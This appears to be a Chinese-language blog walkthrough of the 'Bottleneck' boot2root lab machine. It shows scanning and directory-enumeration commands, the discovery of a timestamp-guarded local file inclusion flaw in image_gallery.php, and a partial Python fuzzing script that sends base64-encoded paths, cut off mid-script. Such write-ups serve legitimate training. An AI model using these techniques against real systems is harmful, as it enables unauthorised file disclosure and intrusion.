靶机地址
难度:中等
靶机发布日期:2019年9月28日
靶机描述:
Bottleneck is an intermediate boot2root machine.
After some cyber attacks the admin hardened the system, show him that it’s not so secure.
If you need a hint feel free to contact me on Twitter: @bytevsbyt3
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com
工具、知识点和漏洞
netdiscover
nmap
dirsearch
dirb
gobuster
metaspaloit
gcc
LFI漏洞
编写python脚本
python2 input漏洞getshell
0x00、信息收集
靶机IP:192.168.0.107
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.107
页面、目录枚举
dirb http://192.168.0.107 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
枚举结果汇总
- /css
- /img
- /js
- /vendor
- /index.php
- /image_gallery.php
首页(index.php)
0x01、发现LFI漏洞
/image_gallery.php
发现这个img标签的src的值有点特别,对其进行base64解码,得到图片名称bottleneck_dontbe.png
在img目录可以正常访问该图片,且就是img标签显示的图片
使用firefox的开发者功能发现,每次访问http://192.168.0.107/image_gallery.php页面时,会发送一次请求http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n,并且返回的结果是png的数据流
猜测这里可能存在本地文件包含漏洞(LFI)
编辑请求参数的值,然后进行重发。最初用的是Burpsuite的Repeater模块,结果发现Response状态码是200,但并没有响应内容。
当然你也可以用firefox浏览器的开发者功能进行编辑重发,如下图所示
随后我使用浏览器的开发者功能对请求(http://192.168.0.107/image_gallery.php?t=1570941505
&f=Ym90dGxlbmVja19kb250YmUucG5n
)进行编辑重发。在编辑的过程中,我并未修改参数t和f的值,只是打开了编辑页面,然后直接点击了开发者功能板块右上角Send按钮,Response的状态码是200,但Content却是空的。随后我又多次访问image_gallery.php页面,观察请求png数据流的参数,发现参数t的值每次都发生变化
,并且与之前相同的是,重发后不再得到png的数据流,结合参数t的名称,我猜测这个参数t指的应该是time
。也就是说我们的t值必须与服务器上的时间计时器一致。
在Twitter上联系靶机作者,确认了我的推断,作者使用了时间戳
时间戳(timestamp)分析
从上图中两个时间戳(方框中的kali系统当前时间的时间戳,椭圆中的时间戳是靶机上的)可以看出,我的kali系统与靶机处于同一时区,这里由于手速的问题,两个时间戳的数值相差1。但我们可以基本断定:kali的系统时间与靶机的系统时间是一致的
,这也就解决了时间戳的问题。
这里给出我的kali系统的时区。小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了
针对这个漏洞我编写了一个Python脚本
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import datetime
import time
import requests
import base64
import argparse
# 发送请求
def sendRequest(fuzzWordlist, url):
wordlistFile = open(fuzzWordlist,'r')
for line in wordlistFile.readlines():
word = line.strip('\r').strip('\n')
# 逐行对字典中的内容进行fuzz,需要先对字典中每一行内容进行base64编码
payload = base64.b64encode(word.encode("utf-8"))
# 获取时间戳(因为我的kali与靶机的系统时间一致,使用kali系统的当前时间生成的时间戳就是靶机上的时间戳),我的kali系统时间比大北京时间慢12小时
dtime = datetime.datetime.now()
t = int(time.mktime(dtime.timetuple()))
# 命令行打印时间戳和base64编码的payload
print 'timestamp:' + str(t)
print 'base64:' + payload
try:
# 发送请求
URL = url
print URL
# 定义参数
PARAMS = {
't':t,
'f':payload}
r = requests.get